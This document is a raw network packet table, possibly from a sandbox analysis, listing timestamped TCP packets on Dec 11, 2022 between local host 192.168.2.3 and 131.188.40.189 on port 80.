Dec 11, 2022 09:25:53.434726954 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.434763908 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.434809923 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.434818983 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.434851885 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.434916973 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.434921026 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.434962988 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435009956 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435019970 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.435053110 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435096979 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435112953 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.435144901 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435187101 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435233116 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.435240984 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435285091 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435313940 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.435328960 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435374022 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435394049 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.435416937 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435472012 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435477972 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.435523033 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435565948 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435592890 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.435609102 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435652018 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435662985 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.435704947 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435735941 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435754061 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.435766935 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435796976 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435822964 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.435828924 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435859919 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435877085 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.435892105 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435925007 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435951948 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.435954094 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.435986996 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436007023 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.436017036 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436047077 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436062098 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.436077118 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436113119 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436127901 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.436142921 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436172962 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436191082 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.436203003 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436233044 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436258078 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.436263084 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436292887 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436309099 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.436331034 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436361074 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436382055 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.436389923 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436420918 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436450958 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436459064 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.436480999 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436500072 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.436511993 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436544895 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436564922 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.436575890 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436608076 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436636925 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436650991 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.436666965 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436685085 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.436697006 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436727047 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436747074 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.436757088 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436788082 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436813116 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.436817884 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436849117 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436870098 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.436878920 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436909914 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436929941 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.436943054 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436963081 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.436994076 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.437001944 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.437031984 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.437053919 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.437062025 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.437093019 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.437119007 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.437123060 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.437154055 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.437171936 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.437184095 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.437212944 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.437239885 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.437242031 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.437273026 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.437293053 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.437303066 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.437334061 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.437362909 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.437367916 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.437392950 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.437412024 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.437422991 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.437453032 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.437477112 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.437484026 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.437514067 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.437530994 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.437544107 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.437573910 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.437598944 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.437608004 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.437625885 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.437655926 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.437659025 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.437712908 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.451524973 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.471452951 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.471479893 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.471525908 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.471554995 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.471575022 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.471620083 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.471637011 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.471663952 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.471707106 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.471719027 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.471750975 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.471797943 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.471812963 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.471824884 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.471882105 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.471884012 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.471925974 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.471968889 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.471990108 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.472014904 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.472068071 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.472069979 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.472110987 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.472152948 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.472173929 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.472198009 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.472250938 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.472250938 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.472295046 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.472338915 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.472353935 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.472383976 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.472429037 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.472443104 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.472474098 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.472516060 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.472533941 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.472559929 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.472611904 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.472613096 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.472655058 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.472698927 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.472709894 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.472747087 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.472774982 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.472804070 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.472820044 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.472862959 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.472876072 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.472908020 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.472949982 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.472984076 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.473017931 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.473074913 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.473118067 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.473161936 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.473162889 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.473201990 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.473206997 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.473243952 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.473253012 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.473297119 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.473308086 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.473344088 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.473388910 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.473401070 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.473433018 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.473478079 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.473486900 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.473520994 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.473565102 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.473601103 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.473608971 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.473654032 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.473663092 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.473711014 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.473754883 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.473795891 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.473813057 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.473839998 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.473854065 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.473893881 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.473937035 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.473948956 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.473980904 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.474028111 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.474037886 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.474071980 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.474114895 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.474139929 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.474172115 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.474215031 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.474225044 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.474273920 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.474318981 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.474355936 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.474361897 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.474407911 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.474421978 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.474452972 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.474494934 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.474513054 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.474539042 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.474590063 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.474595070 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.474633932 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.474678040 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.474684000 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.474723101 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.474766016 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.474778891 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.474811077 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.474854946 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.474867105 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.474924088 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.474967957 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.474980116 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.475017071 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.475059986 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.475071907 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.475104094 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.475147009 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.475159883 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.475189924 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.475234032 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.475244045 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.475286007 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.475327969 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.475339890 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.475372076 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.475414991 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.475430012 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.475462914 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.475490093 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.475521088 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.475537062 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.475580931 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.475591898 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.475627899 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.475655079 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.475682974 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.475697994 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.475740910 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.475764990 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.475790977 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.475816011 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.475840092 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.475869894 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.475913048 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.475939989 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.475955009 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.476001024 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.476007938 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.476052046 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.476094007 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.476125956 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.476136923 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.476181030 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.476192951 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.476233006 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.476274967 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.476300001 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.476317883 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.476370096 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.476376057 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.476413965 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.476458073 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.476500988 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.476516008 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.476545095 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.476569891 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.476587057 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.476629972 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.476641893 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.476674080 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.476716042 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.476727009 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.476758957 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.476803064 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.476814985 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.476845980 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.476867914 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.476892948 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.476900101 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.476922035 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.476946115 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.476950884 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.476975918 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.476996899 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.477019072 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.477040052 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.477051973 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.477086067 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.477097034 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.477114916 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.477148056 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.477159023 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.477189064 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.477201939 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.477211952 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.477250099 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.477253914 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.477277994 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.477308035 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.477320910 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.477349043 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.477365017 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.477372885 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.477406979 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.477417946 CET	49719	80	192.168.2.3	131.188.40.189
